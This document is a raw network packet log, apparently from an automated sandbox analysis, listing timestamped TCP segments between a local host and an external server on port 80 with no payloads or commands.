Jun 26, 2024 08:16:44.166507959 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.166562080 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.166582108 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.166625977 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.166637897 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.166675091 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.166690111 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.166709900 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.166714907 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.166747093 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.166755915 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.166784048 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.166794062 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.166838884 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.192888021 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.192948103 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.192954063 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.192984104 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.193002939 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.193018913 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.193044901 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.193053961 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.193083048 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.193089962 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.193093061 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.193125963 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.193130016 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.193160057 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.193187952 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.193203926 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.193248987 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.193284035 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.193298101 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.193320036 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.193330050 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.193372965 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.193377018 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.193409920 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.193423033 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.193444014 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.193454027 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.193480968 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.193490028 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.193516016 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.193545103 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.193559885 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.231722116 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.231749058 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.231765985 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.231781006 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.231794119 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.231797934 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.231815100 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.231820107 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.231832027 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.231856108 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.231888056 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.231903076 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.231910944 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.231919050 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.231935024 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.231945038 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.231945038 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.231950998 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.231970072 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.231971025 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.231986046 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.231992960 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.232002974 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.232011080 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.232018948 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.232038021 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.232048035 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.232070923 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.232074976 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.232112885 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.232127905 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.232148886 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.232172012 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.232189894 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.232194901 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.232234955 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.232259989 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.232352018 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.232362986 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.232379913 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.232395887 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.232410908 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.232434034 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.232454062 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.232470036 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.232477903 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.232494116 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.232506037 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.232522011 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.232532024 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.232538939 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.232554913 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.232556105 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.232566118 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.232584953 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.232584953 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.232598066 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.232633114 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.232656956 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.232693911 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.232728958 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.232744932 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.232759953 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.232775927 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.232775927 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.232796907 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.232803106 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.232829094 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.232835054 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.232848883 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.232872009 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.232887983 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.232894897 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.232903957 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.232918978 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.232927084 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.232971907 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.232971907 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.232997894 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.233047962 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.233063936 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.233082056 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.233083010 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.233097076 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.233119011 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.233175993 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.233196974 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.233222008 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.233237982 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.233253002 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.233269930 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.233284950 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.233294010 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.233304977 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.233355999 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.233376980 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.233417034 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.233423948 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.233433962 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.233469963 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.233485937 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.233501911 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.233529091 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.233539104 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.233557940 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.233570099 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.233578920 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.233577967 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.233596087 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.233597040 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.233618975 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.233620882 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.233633041 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.233642101 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.233658075 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.233715057 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.233777046 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.233793974 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.233810902 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.233841896 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.233841896 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.233863115 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.233876944 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.233892918 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.233916998 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.233922958 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.233932972 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.233935118 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.233957052 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.233958960 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.233971119 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.233975887 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.233993053 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.233999014 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.234009981 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.234011889 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.234026909 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.234034061 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.234044075 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.234050989 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.234060049 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.234064102 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.234082937 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.234110117 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.234453917 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.234498024 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.234502077 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.234513998 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.234539032 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.234565020 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.234568119 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.234581947 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.234599113 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.234606981 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.234616041 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.234622002 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.234641075 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.234647989 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.234647989 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.234673977 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.234675884 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.234694958 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.234709978 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.234716892 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.234735966 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.234740019 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.234755039 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.234756947 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.234776974 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.234783888 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.234797955 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.234850883 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.253459930 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.253546000 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.253550053 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.253592014 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.253602028 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.253637075 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.253644943 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.253673077 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.253701925 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.253709078 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.253735065 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.253747940 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.253835917 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.279997110 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.280071020 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.280116081 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.280134916 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.280150890 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.280167103 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.280205965 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.280208111 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.280242920 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.280253887 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.280287981 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.280298948 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.280333996 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.280369043 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.280379057 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.280404091 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.280420065 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.280438900 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.280452013 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.280473948 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.280493021 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.280544996 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.280553102 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.280590057 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.280602932 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.280718088 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.318696976 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.318764925 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.318787098 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.318818092 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.318821907 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.318878889 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.318901062 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.318957090 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.318963051 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.319009066 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.319011927 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.319048882 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.319058895 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.319106102 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.319128990 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.319154978 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.319169998 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.319212914 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.319237947 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.319269896 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.319298029 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.319323063 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.319324970 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.319379091 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.319415092 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.319426060 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.319449902 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.319504976 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.319509029 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.319539070 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.319571018 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.319591999 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.319593906 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.319628954 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.319665909 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.319681883 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.319700956 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.319721937 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.319739103 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.319766045 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.319773912 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.319802046 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.319809914 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.319838047 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.319864988 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.319873095 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.319901943 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.319909096 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.319947958 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.319955111 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.319991112 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.320025921 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.320054054 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.320080042 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.320105076 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.320111990 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.320138931 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.320168018 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.320194006 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.320223093 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.320251942 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.320259094 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.320283890 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.320307970 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.320318937 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.320372105 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.320388079 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.320410013 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.320436001 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.320463896 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.320465088 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.320521116 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.320524931 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.320554972 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.320583105 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.320594072 CEST	80	49731	77.91.77.81	192.168.2.6
